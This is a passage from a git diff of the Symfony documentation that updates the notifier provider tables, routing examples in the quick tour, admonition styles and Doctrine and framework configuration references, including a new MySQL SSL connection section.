+`Yunpian`_          **Install**: ``composer require symfony/yunpian-notifier`` \
+                    **DSN**: ``yunpian://APIKEY@default`` \
+                    **Webhook support**: No
+==================  ====================================================================================================================================
 
-==================  =====================================  ========================================================================================================================= ===============
-Service             Package                                DSN                                                                                                                       Webhook support
-==================  =====================================  ========================================================================================================================= ===============
-`46elks`_           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
-`AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
-`AmazonSns`_        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-`Bandwidth`_        ``symfony/bandwidth-notifier``         ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY``
-`Brevo`_            ``symfony/brevo-notifier``             ``brevo://API_KEY@default?sender=SENDER``
-`Clickatell`_       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
-`ContactEveryone`_  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
-`Esendex`_          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-`FakeSms`_          ``symfony/fake-sms-notifier``          ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-`FreeMobile`_       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
-`GatewayApi`_       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
-`GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
-`Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
-`Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-`KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
-`LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-`Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
-`MessageBird`_      ``symfony/message-bird-notifier``      ``messagebird://TOKEN@default?from=FROM``
-`MessageMedia`_     ``symfony/message-media-notifier``     ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-`Mobyt`_            ``symfony/mobyt-notifier``             ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-`Nexmo`_            ``symfony/nexmo-notifier``             Abandoned in favor of Vonage (symfony/vonage-notifier).
-`Octopush`_         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-`OrangeSms`_        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
-`OvhCloud`_         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-`Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
-`Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
-`RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
-`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
-`Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Seven.io`_         ``symfony/sevenio-notifier``           ``sevenio://API_KEY@default?from=FROM``
-`SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
-`Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
-`SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
-`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
-`Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
-`Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
-`SMSense`_          ``symfony/smsense-notifier``           ``smsense://API_TOKEN@default?from=FROM``
-`SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
-`Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-`TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
-`Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
-`Unifonic`_         ``symfony/unifonic-notifier``          ``unifonic://APP_SID@default?from=FROM``
-`Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
-`Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
-`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
-==================  =====================================  ========================================================================================================================= ===============
+.. tip::
+
+    Use :doc:`Symfony configuration secrets </configuration/secrets>` to securely
+    store your API tokens.
 
 .. tip::
 
@@ -115,7 +213,8 @@ Service             Package                                DSN
 
 .. versionadded:: 7.1
 
-    The `SmsSluzba`_ and  `SMSense`_ integrations were introduced in Symfony 7.1.
+    The ``Smsbox``, ``SmsSluzba``, ``SMSense``, ``LOX24`` and ``Unifonic``
+    integrations were introduced in Symfony 7.1.
 
 .. deprecated:: 7.1
 
@@ -220,10 +319,10 @@ information such as the message ID and the original message contents.
 Chat Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
@@ -258,10 +357,9 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
-    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations
-    were introduced in Symfony 7.1.
+    The ``Bluesky`` integration was introduced in Symfony 7.1.
 
-.. caution::
+.. warning::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,
     the notifications will be sent through the MessageBus. If you don't have a
@@ -431,10 +529,10 @@ notification emails:
 Push Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
@@ -795,7 +893,7 @@ and its ``asChatMessage()`` method::
         ) {
         }
 
-        public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage
+        public function asChatMessage(RecipientInterface $recipient, ?string $transport = null): ?ChatMessage
         {
             // Add a custom subject and emoji if the message is sent to Slack
             if ('slack' === $transport) {
@@ -826,7 +924,7 @@ The default behavior for browser channel notifications is to add a
 However, you might prefer to map the importance level of the notification to the
 type of flash message, so you can tweak their style.
 
-you can do that by overriding the default ``notifier.flash_message_importance_mapper``
+You can do that by overriding the default ``notifier.flash_message_importance_mapper``
 service with your own implementation of
 :class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface`
 where you can provide your own "importance" to "alert level" mapping.
@@ -966,7 +1064,7 @@ is dispatched. Listeners receive a
 
     $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event): void {
         // gets the message instance
-        $message = $event->getOriginalMessage();
+        $message = $event->getMessage();
 
         // log something
         $this->logger(sprintf('The message has been successfully sent and has id: %s', $message->getMessageId()));
@@ -996,7 +1094,7 @@ is dispatched. Listeners receive a
 .. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
 .. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
 .. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
-.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md
+.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIp/README.md
 .. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
@@ -1005,6 +1103,7 @@ is dispatched. Listeners receive a
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
 .. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md
+.. _`LOX24`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Lox24/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
 .. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md
 .. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md
@@ -1030,6 +1129,7 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
+.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`Seven.io`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sevenio/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
diff --git a/performance.rst b/performance.rst
index ca34e95ee37..cd9dacddb1a 100644
--- a/performance.rst
+++ b/performance.rst
@@ -98,7 +98,7 @@ Use the OPcache Byte Code Cache
 OPcache stores the compiled PHP files to avoid having to recompile them for
 every request. There are some `byte code caches`_ available, but as of PHP
 5.5, PHP comes with `OPcache`_ built-in. For older versions, the most widely
-used byte code cache is `APC`_.
+used byte code cache is APC.
 
 .. _performance-use-preloading:
 
@@ -394,7 +394,6 @@ Learn more
 .. _`byte code caches`: https://en.wikipedia.org/wiki/List_of_PHP_accelerators
 .. _`OPcache`: https://www.php.net/manual/en/book.opcache.php
 .. _`Composer's autoloader optimization`: https://getcomposer.org/doc/articles/autoloader-optimization.md
-.. _`APC`: https://www.php.net/manual/en/book.apc.php
 .. _`APCu Polyfill component`: https://github.com/symfony/polyfill-apcu
 .. _`APCu PHP functions`: https://www.php.net/manual/en/ref.apcu.php
 .. _`cachetool`: https://github.com/gordalina/cachetool
diff --git a/profiler.rst b/profiler.rst
index df9cefa4f96..57d412472ba 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -54,6 +54,12 @@ method to access to its associated profile::
     // ... $profiler is the 'profiler' service
     $profile = $profiler->loadProfileFromResponse($response);
 
+.. note::
+
+    The ``profiler`` service will be :doc:`autowired </service_container/autowiring>`
+    automatically when type-hinting any service argument with the
+    :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler` class.
+
 When the profiler stores data about a request, it also associates a token with it;
 this token is available in the ``X-Debug-Token`` HTTP header of the response.
 Using this token, you can access the profile of any past response thanks to the
@@ -281,7 +287,7 @@ request::
 
     class RequestCollector extends AbstractDataCollector
     {
-        public function collect(Request $request, Response $response, \Throwable $exception = null): void
+        public function collect(Request $request, Response $response, ?\Throwable $exception = null): void
         {
             $this->data = [
                 'method' => $request->getMethod(),
@@ -297,13 +303,13 @@ These are the method that you can define in the data collector class:
     from ``AbstractDataCollector``). If you need some services to collect the
     data, inject those services in the data collector constructor.
 
-    .. caution::
+    .. warning::
 
         The ``collect()`` method is only called once. It is not used to "gather"
         data but is there to "pick up" the data that has been stored by your
         service.
 
-    .. caution::
+    .. warning::
 
         As the profiler serializes data collector instances, you should not
         store objects that cannot be serialized (like PDO objects) or you need
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index c058008b84a..856b4271205 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -80,7 +80,7 @@ Thanks to Flex, after one command, you can start using Twig immediately:
       namespace App\Controller;
 
       use Symfony\Component\Routing\Attribute\Route;
-    - use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class DefaultController
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 34bea4f82cc..b069cb4f716 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -39,7 +39,7 @@ Symfony application:
     ├─ var/
     └─ vendor/
 
-Can we already load the project in a browser? Yes! You can setup
+Can we already load the project in a browser? Yes! You can set up
 :doc:`Nginx or Apache </setup/web_server_configuration>` and configure their
 document root to be the ``public/`` directory. But, for development, it's better
 to :doc:`install the Symfony local web server </setup/symfony_server>` and run
@@ -63,20 +63,6 @@ web app, or a microservice. Symfony starts small, but scales with you.
 
 But before we go too far, let's dig into the fundamentals by building our first page.
 
-Start in ``config/routes.yaml``: this is where *we* can define the URL to our new
-page. Uncomment the example that already lives in the file:
-
-.. code-block:: yaml
-
-    # config/routes.yaml
-    index:
-        path: /
-        controller: 'App\Controller\DefaultController::index'
-
-This is called a *route*: it defines the URL to your page (``/``) and the "controller":
-the *function* that will be called whenever anyone goes to this URL. That function
-doesn't exist yet, so let's create it!
-
 In ``src/Controller``, create a new ``DefaultController`` class and an ``index``
 method inside::
 
@@ -84,9 +70,11 @@ method inside::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController
     {
+        #[Route('/', name: 'index')]
         public function index(): Response
         {
             return new Response('Hello!');
@@ -104,11 +92,21 @@ But the routing system is *much* more powerful. So let's make the route more int
 
 .. code-block:: diff
 
-      # config/routes.yaml
-      index:
-    -     path: /
-    +     path: /hello/{name}
-          controller: 'App\Controller\DefaultController::index'
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
+
+      use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\Routing\Attribute\Route;
+
+      class DefaultController
+      {
+    -     #[Route('/', name: 'index')]
+    +     #[Route('/hello/{name}', name: 'index')]
+          public function index(): Response
+          {
+              return new Response('Hello!');
+          }
+      }
 
 The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts
 like a wildcard that matches anything. And it gets better! Update the controller too:
@@ -120,9 +118,11 @@ like a wildcard that matches anything. And it gets better! Update the controller
       namespace App\Controller;
 
       use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\Routing\Attribute\Route;
 
       class DefaultController
       {
+          #[Route('/hello/{name}', name: 'index')]
     -     public function index()
     +     public function index(string $name): Response
           {
@@ -135,39 +135,8 @@ Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
 argument in your controller.
 
-But this can be even simpler! Comment-out the YAML route by adding the
-``#`` character:
-
-.. code-block:: yaml
-
-    # config/routes.yaml
-    # index:
-    #     path: /hello/{name}
-    #     controller: 'App\Controller\DefaultController::index'
-
-Instead, add the route *right above* the controller method:
-
-.. code-block:: diff
-
-      <?php
-      // src/Controller/DefaultController.php
-      namespace App\Controller;
-
-      use Symfony\Component\HttpFoundation\Response;
-    + use Symfony\Component\Routing\Attribute\Route;
-
-      class DefaultController
-      {
-    +      #[Route('/hello/{name}', methods: ['GET'])]
-           public function index(string $name): Response
-           {
-               // ...
-           }
-      }
-
-This works just like before! But by using attributes, the route and controller
-live right next to each other. Need another page? Add another route and method
-in ``DefaultController``::
+But by using attributes, the route and controller live right next to each
+other. Need another page? Add another route and method in ``DefaultController``::
 
     // src/Controller/DefaultController.php
     namespace App\Controller;
diff --git a/rate_limiter.rst b/rate_limiter.rst
index e08d4576b95..6c158ee52d0 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,8 +16,9 @@ time, but you can use them for your own features too.
     By definition, the Symfony rate limiters require Symfony to be booted
     in a PHP process. This makes them not useful to protect against `DoS attacks`_.
     Such protections must consume the least resources possible. Consider
-    using `Apache mod_ratelimit`_, `NGINX rate limiting`_ or proxies (like
-    AWS or Cloudflare) to prevent your server from being overwhelmed.
+    using `Apache mod_ratelimit`_, `NGINX rate limiting`_,
+    `Caddy HTTP rate limit module`_ (also supported by FrankenPHP)
+    or proxies (like AWS or Cloudflare) to prevent your server from being overwhelmed.
 
 .. _rate-limiter-policies:
 
@@ -536,6 +537,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
+.. _`Caddy HTTP rate limit module`: https://github.com/mholt/caddy-ratelimit
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 08667e2a06f..7975a8aaee4 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -33,15 +33,23 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
-* :doc:`AutowireIterator <service-locator_autowire-iterator>`
+* :ref:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
+* :ref:`AutowireMethodOf <autowiring_closures>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
+* :ref:`Lazy <lazy-services_configuration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
 * :ref:`When <service-container_limiting-to-env>`
 
+.. deprecated:: 7.1
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    attributes were deprecated in Symfony 7.1.
+
 EventDispatcher
 ~~~~~~~~~~~~~~~
 
@@ -62,6 +70,7 @@ HttpKernel
 * :ref:`MapQueryParameter <controller_map-request>`
 * :ref:`MapQueryString <controller_map-request>`
 * :ref:`MapRequestPayload <controller_map-request>`
+* :ref:`MapUploadedFile <controller_map-uploaded-file>`
 * :ref:`ValueResolver <managing-value-resolvers>`
 * :ref:`WithHttpStatus <framework_exceptions>`
 * :ref:`WithLogLevel <framework_exceptions>`
@@ -95,16 +104,18 @@ Security
 * :ref:`IsCsrfTokenValid <csrf-controller-attributes>`
 * :ref:`IsGranted <security-securing-controller-attributes>`
 
+.. _reference-attributes-serializer:
+
 Serializer
 ~~~~~~~~~~
 
-* :ref:`Context <serializer_serializer-context>`
+* :ref:`Context <serializer-context>`
 * :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
-* :ref:`Groups <component-serializer-attributes-groups-attributes>`
+* :ref:`Groups <serializer-groups-attribute>`
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
-* :ref:`SerializedName <serializer_name-conversion>`
-* :ref:`SerializedPath <serializer-enabling-metadata-cache>`
+* :ref:`SerializedName <serializer-name-conversion>`
+* :ref:`SerializedPath <serializer-nested-structures>`
 
 Twig
 ~~~~
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 62cc40675b2..9b8dc2a6f0c 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -91,8 +91,13 @@ Typically, you would set this to ``php://stderr``:
     .. code-block:: php
 
         // config/packages/debug.php
-        $container->loadFromExtension('debug', [
-            'dump_destination' => 'php://stderr',
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('debug', [
+                'dump_destination' => 'php://stderr',
+            ]);
+        };
+
 
 Configure it to ``"tcp://%env(VAR_DUMPER_SERVER)%"`` in order to use the :ref:`ServerDumper feature <var-dumper-dump-server>`.
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index f131181d3ac..272ad6b6804 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -57,7 +57,7 @@ The following block shows all possible configuration keys:
                 charset:              utf8mb4
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
-                server_version:       '5.7'
+                server_version:       '8.0.37'
                 mapping_types:
                     enum: string
                 types:
@@ -91,7 +91,7 @@ The following block shows all possible configuration keys:
                     charset="utf8mb4"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
-                    server-version="5.7">
+                    server-version="8.0.37">
 
                     <doctrine:option key="foo">bar</doctrine:option>
                     <doctrine:mapping-type name="enum">string</doctrine:mapping-type>
@@ -136,13 +136,13 @@ If you want to configure multiple connections in YAML, put them under the
                     user:             root
                     password:         null
                     host:             localhost
-                    server_version:   '5.6'
+                    server_version:   '8.0.37'
                 customer:
                     dbname:           customer
                     user:             root
                     password:         null
                     host:             localhost
-                    server_version:   '5.7'
+                    server_version:   '8.2.0'
 
 The ``database_connection`` service always refers to the *default* connection,
 which is the first one defined or the one configured via the
@@ -271,9 +271,13 @@ you can control. The following configuration options exist for a mapping:
 ........
 
 One of ``attribute`` (for PHP attributes; it's the default value),
-``xml``, ``yml``, ``php`` or ``staticphp``. This specifies which
+``xml``, ``php`` or ``staticphp``. This specifies which
 type of metadata type your mapping uses.
 
+.. versionadded:: 3.0
+
+    The ``yml`` mapping configuration is deprecated and was removed in Doctrine ORM 3.0.
+
 See `Doctrine Metadata Drivers`_ for more information about this option.
 
 ``dir``
@@ -462,5 +466,84 @@ If the ``dir`` configuration is set and the ``is_bundle`` configuration
 is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with
 the path of the bundle.
 
+SSL Connection with MySQL
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To securely configure an SSL connection to MySQL in your Symfony application
+with Doctrine, you need to specify the SSL certificate options. Here's how to
+set up the connection using environment variables for the certificate paths:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        doctrine:
+            dbal:
+                url: '%env(DATABASE_URL)%'
+                server_version: '8.0.31'
+                driver: 'pdo_mysql'
+                options:
+                    # SSL private key
+                    !php/const 'PDO::MYSQL_ATTR_SSL_KEY': '%env(MYSQL_SSL_KEY)%'
+                    # SSL certificate
+                    !php/const 'PDO::MYSQL_ATTR_SSL_CERT': '%env(MYSQL_SSL_CERT)%'
+                    # SSL CA authority
+                    !php/const 'PDO::MYSQL_ATTR_SSL_CA': '%env(MYSQL_SSL_CA)%'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+
+            <doctrine:config>
+                <doctrine:dbal
+                    url="%env(DATABASE_URL)%"
+                    server-version="8.0.31"
+                    driver="pdo_mysql">
+
+                    <doctrine:option key="1007">%env(MYSQL_SSL_KEY)%</doctrine:option>
+                    <doctrine:option key="1008">%env(MYSQL_SSL_CERT)%</doctrine:option>
+                    <doctrine:option key="1009">%env(MYSQL_SSL_CA)%</doctrine:option>
+                </doctrine:dbal>
+            </doctrine:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/doctrine.php
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $doctrine->dbal()
+                ->connection('default')
+                ->url(env('DATABASE_URL')->resolve())
+                ->serverVersion('8.0.31')
+                ->driver('pdo_mysql');
+
+            $doctrine->dbal()->defaultConnection('default');
+
+            $doctrine->dbal()->option(\PDO::MYSQL_ATTR_SSL_KEY, '%env(MYSQL_SSL_KEY)%');
+            $doctrine->dbal()->option(\PDO::MYSQL_SSL_CERT, '%env(MYSQL_ATTR_SSL_CERT)%');
+            $doctrine->dbal()->option(\PDO::MYSQL_SSL_CA, '%env(MYSQL_ATTR_SSL_CA)%');
+        };
+
+Ensure your environment variables are correctly set in the ``.env.local`` or
+``.env.local.php`` file as follows:
+
+.. code-block:: bash
+
+    MYSQL_SSL_KEY=/path/to/your/server-key.pem
+    MYSQL_SSL_CERT=/path/to/your/server-cert.pem
+    MYSQL_SSL_CA=/path/to/your/ca-cert.pem
+
+This configuration secures your MySQL connection with SSL by specifying the paths to the required certificates.
+
+
 .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html
 .. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5a7a5684fbc..d4ff35a6381 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -175,7 +175,7 @@ named ``kernel.http_method_override``.
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
     Symfony forms.
 
-.. caution::
+.. warning::
 
     If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
     with this option, the kernel will ignore the ``_method`` parameter,
@@ -193,8 +193,6 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
-.. _configuration-framework-http_method_override:
-
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -409,9 +407,11 @@ performance a bit:
             $framework->enabledLocales(['en', 'es']);
         };
 
-If some user makes requests with a locale not included in this option, the
-application won't display any error because Symfony will display contents using
-the fallback locale.
+An added bonus of defining the enabled locales is that they are automatically
+added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
+For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
+``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
+user makes requests with a locale not included in this option, they'll see a 404 error.
 
 set_content_language_from_locale
 ................................
@@ -860,37 +860,6 @@ If you use for example
 as the type and name of an argument, autowiring will inject the ``my_api.client``
 service into your autowired classes.
 
-.. _reference-http-client-retry-failed:
-
-By enabling the optional ``retry_failed`` configuration, the HTTP client service
-will automatically retry failed HTTP requests.
-
-.. code-block:: yaml
-
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            # ...
-            default_options:
-                retry_failed:
-                    # retry_strategy: app.custom_strategy
-                    http_codes:
-                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                        429: true            # retry all responses with 429 status code
-                        500: ['GET', 'HEAD']
-                    max_retries: 2
-                    delay: 1000
-                    multiplier: 3
-                    max_delay: 5000
-                    jitter: 0.3
-
-            scoped_clients:
-                my_api.client:
-                    # ...
-                    retry_failed:
-                        max_retries: 4
-
 auth_basic
 ..........
 
@@ -1001,6 +970,8 @@ crypto_method
 The minimum version of TLS to accept. The value must be one of the
